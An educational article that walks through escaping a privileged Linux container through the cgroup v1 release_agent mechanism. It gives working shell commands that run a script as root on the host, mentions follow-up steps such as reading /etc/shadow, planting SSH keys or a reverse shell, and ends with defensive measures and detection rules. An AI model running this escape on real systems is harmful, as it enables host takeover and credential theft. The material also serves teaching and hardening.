Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Every Linux container — Docker, containerd, CRI-O, Kubernetes pods — is an illusion built from two unrelated kernel features: namespaces, which give a process its own private view of global resources (process IDs, mounts, network stack, hostname, IPC, and users), and cgroups (control groups), which meter and cap what a group of processes can consume (CPU, memory, I/O, PIDs). Neither feature was designed as a security boundary in the way a virtual machine’s hypervisor is; they were designed for resource management and view isolation. Understanding where that boundary is soft is the difference between a hardened container platform and one where a single misconfigured flag hands an attacker the host.
Because containers share the host kernel, every namespace and cgroup misconfiguration is a potential escape route back to the host — not a sandbox bug in the traditional sense, but a control-plane decision made too permissively. This matters enormously in practice: CI/CD runners, build agents, and multi-tenant Kubernetes clusters routinely run untrusted or semi-trusted code inside containers, and the gap between “looks isolated” and “is isolated” is exactly where container breakouts live.
Attack Prerequisites
Breaking out of namespace/cgroup isolation back to the host generally requires one or more of the following to be true of the container an attacker already has code execution in:
- Elevated capabilities — the container was started with
--privileged, or withCAP_SYS_ADMIN,CAP_SYS_MODULE, orCAP_SYS_PTRACEexplicitly added via--cap-add. - Shared host namespaces —
--pid=host,--net=host,--ipc=host, or a hostPath/hostPID Kubernetes pod spec, which collapses the isolation for that resource entirely. - A writable path into cgroupfs, typically via a bind mount of
/sys/fs/cgroupor the whole host filesystem (-v /:/host) into the container. - No user-namespace remapping — the container’s root (UID 0) maps to the host’s real root (UID 0) rather than to an unprivileged host UID.
How It Works
Namespaces isolate by *type*: the mount namespace gives a process its own filesystem tree, PID namespace its own process-ID space (the container’s init is PID 1 inside, but some other PID on the host), network namespace its own interfaces and routing table, UTS its own hostname, IPC its own System V/POSIX IPC objects, and the user namespace its own UID/GID mapping so that root inside the container can map to a non-root UID outside. Cgroups are orthogonal: they organize processes into a hierarchy (a tree of directories under /sys/fs/cgroup) and attach *controllers* — cpu, memory, pids, devices, blkio — that enforce limits and produce accounting data for everything in that subtree.
cgroup v1 exposed each controller as a separate hierarchy, and one legacy mechanism — release_agent — is a per-hierarchy file that names a host binary the kernel itself executes, with full host privileges, whenever the last process in a cgroup with notify_on_release=1 exits. That execution happens in the *host’s* init namespace regardless of which namespace triggered it. If a process inside a container can write to that cgroupfs file — which requires CAP_SYS_ADMIN in that cgroup’s namespace, the situation created by --privileged — it can point release_agent at an attacker-controlled script and get it run as root on the host the instant the triggering cgroup empties out. cgroup v2’s unified hierarchy removed most of this attack surface by centralizing release_agent control under systemd in the root cgroup, unreachable from inside a container’s delegated subtree, but the legacy interface is still present on many hosts for compatibility.
PID and mount namespace weaknesses follow the same pattern: sharing the host PID namespace lets a container-root process ptrace() or /proc/<pid>/root-traverse into host processes it can see; a writable bind mount of the host root filesystem lets container-root simply chroot() out. None of these are kernel bugs — they are the intended behavior of features whose privileges were granted more broadly than the threat model assumed.
Vulnerable Code / Configuration
The enabling misconfiguration is almost always a container launched with excess privilege and a path into the host’s cgroup or filesystem tree. A docker run invocation like this is the canonical vulnerable setup:
# VULNERABLE: full privilege + host filesystem bind-mounted in
docker run --rm -it --privileged -v /:/host debian:12 bash
# Equally vulnerable, narrower grant: SYS_ADMIN alone is enough
# to manipulate cgroupfs and mount namespaces from inside.
docker run --rm -it --cap-add=SYS_ADMIN -v /sys/fs/cgroup:/sys/fs/cgroup \
debian:12 bash
BashThe same pattern shows up as a Kubernetes pod spec that a developer wrote for convenience during debugging and left in a manifest:
apiVersion: v1
kind: Pod
spec:
hostPID: true # shares the host PID namespace
containers:
- name: debug
image: busybox
securityContext:
privileged: true # CAP_SYS_ADMIN + all other caps, no seccomp
volumeMounts:
- { name: hostfs, mountPath: /host }
volumes:
- name: hostfs
hostPath: { path: / }
YAMLWith this grant, a process inside the container has CAP_SYS_ADMIN in a cgroup v1 environment and a writable path to the host filesystem — both ingredients for the release_agent technique below.
Walkthrough / Exploitation
From inside a --privileged container with /host bound to the host root and cgroup v1 mounted, create a fresh cgroup and enable release notifications:
mkdir -p /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
BashPoint that hierarchy’s release_agent at a script reachable via the host bind mount, so the kernel executes it in the host’s namespace:
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat > /cmd <<'EOF'
#!/bin/sh
ps aux > /host/tmp/output # runs with host root privileges
EOF
chmod +x /cmd
BashTrigger the release notification by spawning and immediately exiting a process inside the empty target cgroup — this makes the kernel invoke the release_agent script as PID 1’s descendant on the host:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs; " &
sleep 1
cat /host/tmp/output # host process list, proving host-root execution
BashFrom here the operator swaps the payload for anything useful: reading /host/etc/shadow, writing an SSH key into /host/root/.ssh/authorized_keys, or dropping a reverse shell that runs outside the container’s namespaces entirely.
Note: This exact technique requires cgroup v1’s legacy
release_agentfile andCAP_SYS_ADMIN; on a cgroup v2-only host (the default on most current distributions), the equivalent write is confined to the delegated subtree and cannot reach the host’s root cgroup, closing this specific path. Rootless container runtimes and user-namespace remapping (--userns=remapin Docker, unprivileged pods with a mapped UID range) independently prevent it because container root never equals host root.
Opsec: The cgroup and mount manipulation shows up clearly in
auditdif syscall auditing onmount,openat, and writes under/sys/fs/cgroupis enabled, and any EDR hookingexecvewill see the release_agent script run as a child of the kernel workqueue rather than of a normal parent process — an unusual and detectable process-tree shape.
Detection and Defense
Namespace and cgroup isolation is only as strong as the flags used to start the container, so defense is mostly about not granting the excess privilege in the first place, backed by runtime detection:
- Never run
--privilegedor addSYS_ADMIN/SYS_MODULE/SYS_PTRACEfor workloads that do not strictly require it; enforce this with admission controllers (KubernetesPodSecurity“restricted” profile, OPA/Gatekeeper). - Prefer cgroup v2 (
systemd.unified_cgroup_hierarchy=1), which removes the writablerelease_agentpath from delegated subtrees. - Enable user-namespace remapping so container root never equals host root, which neutralizes most namespace-boundary escapes even under misconfiguration.
- Audit mount and cgroupfs writes —
auditctl -w /sys/fs/cgroup -p wa -k cgroup_writeand alert on any write to arelease_agentorcgroup.procsfile from a container process. - Use
docker inspect/kubectl get pod -o yamlin CI to fail builds that setprivileged: true,hostPID,hostNetwork, orhostPathmounts of/. - Runtime tools such as Falco ship rules specifically for release_agent writes and unexpected host-namespace joins.
Real-World Impact
The cgroup v1 release_agent breakout has been independently rediscovered and published by multiple container security researchers and is a staple of tools like deepce and CDK used in container penetration tests and CTFs; it is one of the most frequently cited techniques in “escape the container” writeups precisely because --privileged is still common in CI runners, self-hosted GitLab/Jenkins executors, and Docker-in-Docker setups where teams reach for it as a quick fix for a permission error rather than granting the specific capability actually needed.
Conclusion
Namespaces and cgroups are resource-management primitives that containers repurpose as a security boundary, and that boundary only holds when capabilities, namespace sharing, and cgroup delegation are all minimized together. Treat --privileged, host namespace sharing, and legacy cgroup v1 hierarchies as red flags in any container configuration review, and prefer cgroup v2 with user-namespace remapping so that even a compromised container has no privileged path back to the host it runs on.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments